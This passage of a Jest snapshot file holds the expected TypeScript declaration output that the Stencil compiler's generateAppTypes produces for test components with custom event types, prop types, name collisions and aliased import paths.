\\\\\"./some/stubbed/path/a/my-component\\\\\";\nexport { UserImplementedEventType as UserImplementedEventType1 } from \\\\\"./some/stubbed/path/b/my-new-component\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n    }\n}\nexport interface MyComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyComponentElement;\n}\nexport interface MyNewComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyNewComponentElement;\n}\ndeclare global {\n    interface HTMLMyComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLMyNewComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType1;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyNewComponentElement extends Components.MyNewComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyNewComponentElementEventMap>(type: K, listener: (this: HTMLMyNewComponentElement, ev: MyNewComponentCustomEvent<HTMLMyNewComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyNewComponentElementEventMap>(type: K, listener: (this: HTMLMyNewComponentElement, ev: MyNewComponentCustomEvent<HTMLMyNewComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyNewComponentElement: {\n        prototype: HTMLMyNewComponentElement;\n        new (): HTMLMyNewComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n        \\\\\"my-new-component\\\\\": HTMLMyNewComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyComponentCustomEvent<UserImplementedEventType>) => void;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyNewComponentCustomEvent<UserImplementedEventType1>) => void;\n    }\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": MyComponent;\n        \\\\\"my-new-component\\\\\": MyNewComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n            /**\n             * docs\n             */\n            \\\\\"my-new-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-new-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyNewComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom prop types should export prop types too 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedPropType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport { UserImplementedPropType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom prop types should generate a type declaration file with multiple components using the same custom prop type 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedPropType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport { UserImplementedPropType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"fullName\\\\\": UserImplementedPropType;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    /**\n     * docs\n     */\n    interface HTMLMyNewComponentElement extends Components.MyNewComponent, HTMLStencilElement {\n    }\n    var HTMLMyNewComponentElement: {\n        prototype: HTMLMyNewComponentElement;\n        new (): HTMLMyNewComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n        \\\\\"my-new-component\\\\\": HTMLMyNewComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"fullName\\\\\"?: UserImplementedPropType;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n    interface MyNewComponentAttributes {\n        \\\\\"fullName\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n        \\\\\"my-new-component\\\\\": Omit<MyNewComponent, keyof MyNewComponentAttributes> & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes]?: MyNewComponent[K] } & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes as \\`attr:\\${K}\\`]?: MyNewComponentAttributes[K] } & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes as \\`prop:\\${K}\\`]?: MyNewComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n            /**\n             * docs\n             */\n            \\\\\"my-new-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-new-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyNewComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom prop types should generate a type declaration file with multiple custom prop types from the same location 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { SecondUserImplementedPropType, UserImplementedPropType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport { SecondUserImplementedPropType, UserImplementedPropType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"email\\\\\": SecondUserImplementedPropType;\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"email\\\\\"?: SecondUserImplementedPropType;\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n        \\\\\"email\\\\\": SecondUserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom prop types should handle custom prop type name collisions when defined in separate files 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedPropType } from \\\\\"./some/stubbed/path/a/resources\\\\\";\nimport { UserImplementedPropType as UserImplementedPropType1 } from \\\\\"./some/stubbed/path/b/resources\\\\\";\nexport { UserImplementedPropType } from \\\\\"./some/stubbed/path/a/resources\\\\\";\nexport { UserImplementedPropType as UserImplementedPropType1 } from \\\\\"./some/stubbed/path/b/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"newName\\\\\": UserImplementedPropType1;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    /**\n     * docs\n     */\n    interface HTMLMyNewComponentElement extends Components.MyNewComponent, HTMLStencilElement {\n    }\n    var HTMLMyNewComponentElement: {\n        prototype: HTMLMyNewComponentElement;\n        new (): HTMLMyNewComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n        \\\\\"my-new-component\\\\\": HTMLMyNewComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"newName\\\\\"?: UserImplementedPropType1;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n    interface MyNewComponentAttributes {\n        \\\\\"newName\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n        \\\\\"my-new-component\\\\\": Omit<MyNewComponent, keyof MyNewComponentAttributes> & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes]?: MyNewComponent[K] } & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes as \\`attr:\\${K}\\`]?: MyNewComponentAttributes[K] } & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes as \\`prop:\\${K}\\`]?: MyNewComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n            /**\n             * docs\n             */\n            \\\\\"my-new-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-new-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyNewComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom prop types should handle custom prop type name collisions when defined in the component files 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedPropType } from \\\\\"./some/stubbed/path/a/my-component\\\\\";\nimport { UserImplementedPropType as UserImplementedPropType1 } from \\\\\"./some/stubbed/path/b/my-new-component\\\\\";\nexport { UserImplementedPropType } from \\\\\"./some/stubbed/path/a/my-component\\\\\";\nexport { UserImplementedPropType as UserImplementedPropType1 } from \\\\\"./some/stubbed/path/b/my-new-component\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"name\\\\\": UserImplementedPropType1;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    /**\n     * docs\n     */\n    interface HTMLMyNewComponentElement extends Components.MyNewComponent, HTMLStencilElement {\n    }\n    var HTMLMyNewComponentElement: {\n        prototype: HTMLMyNewComponentElement;\n        new (): HTMLMyNewComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n        \\\\\"my-new-component\\\\\": HTMLMyNewComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType1;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n    interface MyNewComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n        \\\\\"my-new-component\\\\\": Omit<MyNewComponent, keyof MyNewComponentAttributes> & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes]?: MyNewComponent[K] } & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes as \\`attr:\\${K}\\`]?: MyNewComponentAttributes[K] } & { [K in keyof MyNewComponent & keyof MyNewComponentAttributes as \\`prop:\\${K}\\`]?: MyNewComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n            /**\n             * docs\n             */\n            \\\\\"my-new-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-new-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyNewComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes should generate a type declaration file without custom types 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n    }\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": MyComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes should handle type import aliases 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { MyType as UserImplementedPropType } from \\\\\"@utils\\\\\";\nimport { Fragment } from \\\\\"@stencil/core\\\\\";\nexport { MyType as UserImplementedPropType } from \\\\\"@utils\\\\\";\nexport { Fragment } from \\\\\"@stencil/core\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes should not transform aliased paths if transformAliasedImportPaths is false 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedPropType } from \\\\\"@utils\\\\\";\nexport { UserImplementedPropType } from \\\\\"@utils\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes should transform aliased paths if transformAliasedImportPaths is true 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedPropType } from \\\\\"./some/stubbed/path/utils/utils\\\\\";\nexport { UserImplementedPropType } from \\\\\"./some/stubbed/path/utils/utils\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes should work with both event and prop types 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedEventType, UserImplementedPropType } from \\\\\"./some/stubbed/path/a/resources\\\\\";\nexport { UserImplementedEventType, UserImplementedPropType } from \\\\\"./some/stubbed/path/a/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n}\nexport interface MyComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyComponentElement;\n}\ndeclare global {\n    interface HTMLMyComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"name\\\\\"?: UserImplementedPropType;\n        \\\\\"onMyEvent\\\\\"?: (event: MyComponentCustomEvent<UserImplementedEventType>) => void;\n    }\n\n    interface MyComponentAttributes {\n        \\\\\"name\\\\\": UserImplementedPropType;\n    }\n\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: 